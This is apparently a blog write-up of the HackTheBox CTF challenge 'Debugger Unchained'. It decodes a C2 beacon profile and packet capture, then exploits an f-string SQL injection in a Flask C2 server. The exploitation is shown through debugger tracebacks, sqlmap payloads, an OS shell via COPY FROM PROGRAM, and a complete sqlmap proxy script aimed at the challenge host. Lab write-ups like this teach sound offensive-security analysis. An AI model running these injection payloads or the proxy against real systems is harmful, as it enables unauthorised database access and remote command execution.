← Back to blog

Debugger Unchained

Our SOC team has discovered a new strain of malware in one of the workstations. They extracted what looked like a C2 profile from the infected machine’s memory and exported a network capture of the C2 traffic for further analysis. To discover the culprits, we need you to study the C2 infrastructure and check for potential weaknesses that can get us access to the server.

This challenge combines a forensics-style traffic-analysis phase with a web-exploitation phase. We are given two artifacts: a base64-encoded C2 profile recovered from memory, and a packet capture (traffic.pcapng) of the implant beaconing to its C2 server. The goal is to reverse the beaconing protocol from these artifacts, then turn that understanding into remote code execution against the C2 server itself.

Recon: The Recovered C2 Profile

The first artifact is a single base64 blob extracted from the infected machine’s memory. This is the malware’s configuration profile, which tells us how the implant talks to its controller.

eyJzbGVlcHRpbWUiOiAzMDAwLCAiaml0dGVyIjogNSwgInVzZXJfYWdlbnQiOiAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgWGJveDsgWGJveCBPbmUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDMuMC4wLjAgU2FmYXJpLzUzNy4zNiBFZGdlLzQ0LjE4MzYzLjEzMzciLCAiaGVhZGVycyI6IHsiQWNjZXB0IjogIiovKiIsICJBY2NlcHQtTGFuZ3VhZ2UiOiAiZW4tVVMsZW47cT0wLjUiLCAiQWNjZXB0LUVuY29kaW5nIjogIiBnemlwLCBkZWZsYXRlIiwgIlNlYy1GZXRjaC1EZXN0IjogIiBlbXB0eSIsICJTZWMtRmV0Y2gtTW9kZSI6ICIgY29ycyIsICJTZWMtRmV0Y2gtU2l0ZSI6ICIgY3Jvc3Mtc2l0ZSIsICJDb29raWUiOiAiX19jZmxiPSQkVVVJRCQkOyBfX2NmdWlkPSQkUkVDViQkIn0sICJnZXRfdXJpIjogIi9hc3NldHMvanF1ZXJ5LTMuNi4wLnNsaW0ubWluLmpzIiwgInNldF91cmkiOiAiL2Fzc2V0cy9qcXVlcnktMy42LjAuc2xpbS5taW4uanMiLCAidXVpZCI6ICI0OWYwNjJiNS04Yjk0LTRmZmYtYmI0MS1kNTA0YjE0OGFhMWIifQ==

Base64-decoding it yields the JSON profile. This is a Cobalt-Strike-style “malleable” profile: the implant blends in by spoofing a browser User-Agent and benign-looking request headers, beacons to a jQuery URL (get_uri / set_uri), and carries its data inside cookies that masquerade as Cloudflare cookies (__cflb, __cfuid). The uuid identifies this bot.

{"sleeptime": 3000, "jitter": 5, "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337", "headers": {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": " gzip, deflate", "Sec-Fetch-Dest": " empty", "Sec-Fetch-Mode": " cors", "Sec-Fetch-Site": " cross-site", "Cookie": "__cflb=$$UUID$$;__cfuid=$$RECV$$"}, "get_uri": "/assets/jquery-3.6.0.slim.min.js", "set_uri": "/assets/jquery-3.6.0.slim.min.js", "uuid": "49f062b5-8b94-4fff-bb41-d504b148aa1b"}

The key takeaways from the profile:

  • The implant beacons to /assets/jquery-3.6.0.slim.min.js.
  • Data travels in the Cookie header. __cflb is set to the bot $$UUID$$ and __cfuid carries the received ($$RECV$$) data — i.e. task results sent back to the C2.
  • The bot UUID is 49f062b5-8b94-4fff-bb41-d504b148aa1b.

Analyzing the C2 Traffic

With the protocol understood, we turn to the packet capture. The implant sends its results back to the C2 via HTTP POST requests, with the payload tucked into the cookie. We use tshark to extract the cookie field from every POST in the capture.

tshark -nr traffic.pcapng -Y "http.request.method==POST" -T fields -e http.cookie

Each cookie line looks like __cflb=<uuid>; __cfuid=<base64>. We isolate the __cfuid value (the third field when splitting on =), keep only the base64 blobs (those starting with ey, i.e. a base64-encoded JSON object), and decode them. The decoded JSON contains an output field that is itself base64, so we decode that second layer to recover the actual command output.

cat cookies.txt | awk -F '=' '{print $3}' | grep 'ey' | xargs -d '\n' echo | base64 -di | jq .output | tr -d '"' | base64 -d

To process many beacons at once, the base64 lines are saved off and bulk-decoded. The vim line below runs base64 -d on every line of the buffer using a global command, peeling the first base64 layer.

cat cookies.txt | awk -F '=' '{print $3}' | grep 'ey' > cookies.b64
vim: %g/^/.!base64 -d

Decoding the first layer gives the per-task JSON. We then extract the output field and decode that second base64 layer to reveal the raw command output the implant exfiltrated.

cat cookies.b64 | jq .output | tr -d '"' > cookies2.b64
vim: %g/^/.!base64 -d

Decoding Tasks: What the Operator Ran

Decoding the exfiltrated task outputs reveals the reconnaissance the C2 operator tasked the implant to perform on the victim. This is a textbook Windows/Active Directory host- and domain-enumeration sequence — local identity, network layout, domain controller discovery, trusts, shares, sessions, and a battery of WMI hardware/software queries.

whoami /all
arp -a
ipconfig /all
net view /all
cmd /c set
nslookup -querytype=ALL -timeout=10 _ldap._tcp.dc._msdcs.{DOMAIN}
nltest /domain_trusts /all_trusts
net share
route print
netstat -nao
net localgroup
qwinsta
WMI Query ROOT\CIMV2:Win32_BIOS
WMI Query ROOT\CIMV2:Win32_DiskDrive
WMI Query ROOT\CIMV2:Win32_PhysicalMemory
WMI Query ROOT\CIMV2:Win32_Product
WMI Query ROOT\CIMV2:Win32_PnPEntity

Initial GET Request

The beacon’s check-in is a GET to the jQuery URI carrying the bot UUID in __cflb. This is what the implant sends to ask the C2 for new tasking. Replaying this structure against the live C2 is how we begin probing the server.

GET /assets/jquery-3.6.0.slim.min.js HTTP/1.1
Host: 142.93.37.110:30816
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en-US,en;q=0.5
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
cookie: __cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b;

A task issued by the C2 is a JSON object with an id and a base64-encoded cmd. Below, the config is the profile blob from before, and the task shows the format: the cmd value d2hvYW1pIC9hbGw= base64-decodes to whoami /all — the first command the operator tasked.

config="eyJzbGVlcHRpbWUiOiAzMDAwLCAiaml0dGVyIjogNSwgInVzZXJfYWdlbnQiOiAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgWGJveDsgWGJveCBPbmUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDMuMC4wLjAgU2FmYXJpLzUzNy4zNiBFZGdlLzQ0LjE4MzYzLjEzMzciLCAiaGVhZGVycyI6IHsiQWNjZXB0IjogIiovKiIsICJBY2NlcHQtTGFuZ3VhZ2UiOiAiZW4tVVMsZW47cT0wLjUiLCAiQWNjZXB0LUVuY29kaW5nIjogIiBnemlwLCBkZWZsYXRlIiwgIlNlYy1GZXRjaC1EZXN0IjogIiBlbXB0eSIsICJTZWMtRmV0Y2gtTW9kZSI6ICIgY29ycyIsICJTZWMtRmV0Y2gtU2l0ZSI6ICIgY3Jvc3Mtc2l0ZSIsICJDb29raWUiOiAiX19jZmxiPSQkVVVJRCQkOyBfX2NmdWlkPSQkUkVDViQkIn0sICJnZXRfdXJpIjogIi9hc3NldHMvanF1ZXJ5LTMuNi4wLnNsaW0ubWluLmpzIiwgInNldF91cmkiOiAiL2Fzc2V0cy9qcXVlcnktMy42LjAuc2xpbS5taW4uanMiLCAidXVpZCI6ICI0OWYwNjJiNS04Yjk0LTRmZmYtYmI0MS1kNTA0YjE0OGFhMWIifQ==";task="{'id': 1, 'cmd': 'd2hvYW1pIC9hbGw='}";

Werkzeug Debugger Exposed

Probing the live C2 server, we find it is a Flask app running with the Werkzeug interactive debugger enabled. The tell-tale sign is that appending ?__debugger__=yes&cmd=resource&f=debugger.js to a URL serves the debugger’s own JavaScript resource, confirming the debugger middleware is reachable.

http://142.93.37.65:32077/assets/jquery-3.6.0.slim.min.js?__debugger__=yes&cmd=resource&f=debugger.js

When a Flask app crashes with DEBUG on, Werkzeug renders a traceback page with an interactive Python console at each stack frame. That console is normally locked behind a PIN, but the traceback pages themselves are extremely useful — they leak the server’s full source, file paths, and the exact line that failed. We trigger errors deliberately to read the C2’s code.

Reading the Source: Duplicate Key

Sending a task result whose task_id collides with an existing row triggers a Postgres unique-constraint violation. The traceback exposes the relevant source path (/app/application/models/bot.py) and, crucially, the saveTaskResp function and its SQL.

File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File "/app/application/models/bot.py", line 137, in saveTaskResp
    db.execute(f"""INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id})""")
  File "/app/application/database.py", line 54, in execute
    self.cursor.execute(sql, params or ())
  File "/usr/local/lib/python3.8/site-packages/psycopg2/extras.py", line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(34) already exists.

The smoking gun is the db.execute line: the output and id values are formatted directly into the SQL via an f-string, with no parameterization. That is a classic SQL injection sink.

Confirming the Sink: Incorrect Padding

This traceback (from sending a malformed base64 cookie) shows the receiving code path. botRecv runs taskDATA = json.loads(rec_b64(unquote_plus(botDATA))), where rec_b64 is a base64 decode. So whatever we send in the cookie is URL-decoded, base64-decoded, parsed as JSON, and its fields land in the vulnerable INSERT.

File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 55, in botRecv
    taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))
  File "/app/application/util.py", line 28, in rec_b64
    return base64.b64decode(data.encode()).decode()
  File "/usr/local/lib/python3.8/base64.py", line 87, in b64decode
    return binascii.a2b_base64(s)
binascii.Error: Incorrect padding

Breaking Out of the String: Unterminated Quote

Now we craft the injection. By putting a single quote in the id field, we break out of the VALUES ('{output}', {id}) statement. The error confirms our payload reaches the query: the parser chokes on an unterminated string after our ') UNION ALL SELECT NULL,... -- test. Note the decoded output here is d2hhdGV2ZXI (whatever), a throwaway value, while the injection lives in id.

File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File "/app/application/models/bot.py", line 137, in saveTaskResp
    db.execute(f"""INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id})""")
  File "/app/application/database.py", line 54, in execute
    self.cursor.execute(sql, params or ())
  File "/usr/local/lib/python3.8/site-packages/psycopg2/extras.py", line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.SyntaxError: unterminated quoted string at or near "') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL- DOhn)"
LINE 1: ..._outputs(output, task_id) VALUES ('d2hhdGV2ZXI', 1') UNION A...
                                                             ^

Exploiting the SQL Injection

The vulnerable statement is the INSERT whose id we control. Rather than hand-roll blind extraction, we drive the injection with sqlmap. Because the injection point is buried inside a base64-then-JSON-then-cookie wrapper, we put a small Flask proxy in front of it (see sqlmap_proxy.py below) that exposes a clean ?param= GET parameter on 127.0.0.1:4567, encodes it the way the C2 expects, and forwards it. sqlmap then attacks the proxy as if it were an ordinary endpoint.

db.execute(f"""INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id})

[12:47:49] [INFO] GET parameter 'param' is 'PostgreSQL error-based - Parameter replace' injectable

--dbms=postgresql

sqlmap confirms the parameter is injectable across boolean-based, error-based, stacked-query, and time-based techniques against PostgreSQL, and enumerates the available databases.

sqlmap -u "http://127.0.0.1:4567/?param=1" --thread=10 -db public --tables
---
Parameter: param (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: param=(SELECT (CASE WHEN (8561=8561) THEN 1 ELSE (SELECT 3841 UNION SELECT 1861) END))

    Type: error-based
    Title: PostgreSQL error-based - Parameter replace
    Payload: param=(CAST((CHR(113)||CHR(112)||CHR(120)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (3971=3971) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC))

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: param=1;SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 time-based blind - Parameter replace
    Payload: param=(SELECT 3491 FROM PG_SLEEP(5))
---

available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

Enumerating the public schema reveals the C2 backend’s data model — the bot config, registered bots, tasks, and the task outputs table we are injecting into.

sqlmap -u "http://127.0.0.1:4567/?param=1" --thread=10 -D public --tables
Database: public
[4 tables]
+--------------+
| botconfig    |
| bots         |
| task_outputs |
| tasks        |
+--------------+

Since stacked queries are supported, sqlmap can leverage PostgreSQL’s COPY ... FROM PROGRAM to execute OS commands. We request an OS shell.

sqlmap -u "http://127.0.0.1:4567/?param=1" --thread=10 --os-shell
[12:56:25] [INFO] resuming back-end DBMS 'postgresql'
[12:56:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: param (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: param=(SELECT (CASE WHEN (8561=8561) THEN 1 ELSE (SELECT 3841 UNION SELECT 1861) END))

    Type: error-based
    Title: PostgreSQL error-based - Parameter replace
    Payload: param=(CAST((CHR(113)||CHR(112)||CHR(120)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (3971=3971) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(120)||CHR(113)||CHR(113)) AS NUMERIC))

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: param=1;SELECT PG_SLEEP(5)--

    Type: time-based blind
    Title: PostgreSQL > 8.1 time-based blind - Parameter replace
    Payload: param=(SELECT 3491 FROM PG_SLEEP(5))
---
[12:56:26] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[12:56:26] [INFO] fingerprinting the back-end DBMS operating system
[12:56:30] [INFO] the back-end DBMS operating system is Linux
[12:56:31] [INFO] testing if current user is DBA
[12:56:33] [INFO] retrieved: '1'
[12:56:33] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[12:56:33] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
command standard output: 'postgres'
os-shell> ls -la /
---
total 96
drwxr-xr-x    1 root     root          4096 Jul 17 16:28 ..
drwxr-xr-x    1 root     root          4096 Jul 17 16:28 ..
drwxr-xr-x    1 root     root          4096 Jul 13 13:50 app
drwxr-xr-x    1 root     root          4096 May 25 21:41 bin
drwxr-xr-x    1 root     root          4096 May 25 21:41 bin
-rw-------    1 root     root           793 Jun 22 20:24 entrypoint.sh
drwxr-xr-x    1 root     root          4096 May 25 21:41 bin
drwxr-xr-x    5 root     root           360 Jul 17 16:28 dev
drwxr-xr-x    1 root     root          4096 Jul 13 13:49 lib
drwxr-xr-x    5 root     root          4096 May 23 16:51 media
drwxr-xr-x    2 root     root          4096 May 23 16:51 mnt
drwxr-xr-x    2 root     root          4096 May 23 16:51 opt
dr-xr-xr-x  260 root     root             0 Jul 17 16:28 proc
-rwsr-xr-x    1 root     root         18344 Jul 13 13:50 readflag
drwx------    1 root     root          4096 Jul 13 13:50 root
drwxr-xr-x    1 root     root          4096 Jul 17 16:28 run
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
dr-xr-xr-x   13 root     root             0 Jul 17 10:13 sys
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
---

Flag

We now have command execution as the postgres user. The root of the filesystem holds a setuid-root readflag helper (-rwsr-xr-x ... readflag), which reads the protected flag file on our behalf. Running it prints the flag.

os-shell> /readflag
command standard output: 'HTB{c&c_h4ckb4ck_inj3ct3d_t0_rc3}'

Appendix: sqlmap_proxy.py

This is the glue that made sqlmap usable against the C2’s non-standard injection point. It stands up a local Flask server on 127.0.0.1:4567 exposing a simple ?param= parameter. For each request it builds the id injection ({req_num});SELECT {param} from task_outputs;-- -), wraps it in the JSON task structure with a base64-encoded output, encodes the whole thing into the __cfuid cookie exactly as the C2 profile dictates, and POSTs it to the real C2 beacon URL — then returns the response back to sqlmap.

#!/usr/bin/env python3
"""
This scripts is used as a sqlmap proxy for custom endpoints.
Example: sqlmap -u "http://127.0.0.1:4567/?param=1"
"""

# Imports
from flask import Flask
from flask import request
from webclient import WebClient
from utilities import *

# Initialize Flask app
app = Flask(__name__)

FILE_NAME = "./cur_req"

@app.route("/", defaults={"path": ""})
@app.route("/<path:path>")
def index(path):
    """
    This function parses the GET/POST request to localhost for sqlmap integration.
    """
    global req_num
    req_num += 1
    write_file(FILE_NAME, str(req_num))
    if request.method == "GET":
        if request.args.get("param"):
            ########## SQLMAP ##########
            param = request.args.get("param")
            # db.execute(f"""INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id})""")
            data = {
                "id": f"{req_num});SELECT {param} from task_outputs;-- -",
                "output": base64_encode("whatever").decode(),
            }
            print("Injection: " + data["id"])
            c2_headers["cookie"] = "__cflb=$$UUID$$; __cfuid=$$RECV$$".replace("$$UUID$$",uuid).replace("$$RECV$$",base64_encode(json_to_str(data)).decode())
            wc.session.headers.update(c2_headers)
            r = wc.post()
            ##############################

    else:
        print(f"Unable to parse request: {request.method}")
    return r.text, r.status_code

################################################################
# Main
if __name__ == "__main__":
    wc = WebClient(url="http://142.93.37.65:32326/assets/jquery-3.6.0.slim.min.js")

    uuid = "49f062b5-8b94-4fff-bb41-d504b148aa1b"
    global req_num
    if file_exists(FILE_NAME):
        req_num = int(read_file(FILE_NAME)) + 1
    else:
        req_num = 10
    c2 = read_file_json("c2.profile")
    c2_headers = c2["headers"]
    c2_headers.update({"User-Agent": c2["user_agent"]})
    c2_headers["cookie"] = "__cflb=$$UUID$$; __cfuid=$$RECV$$".replace("$$UUID$$",uuid)
    wc.session.headers.update(c2_headers)
    app.run(host="127.0.0.1", port=4567)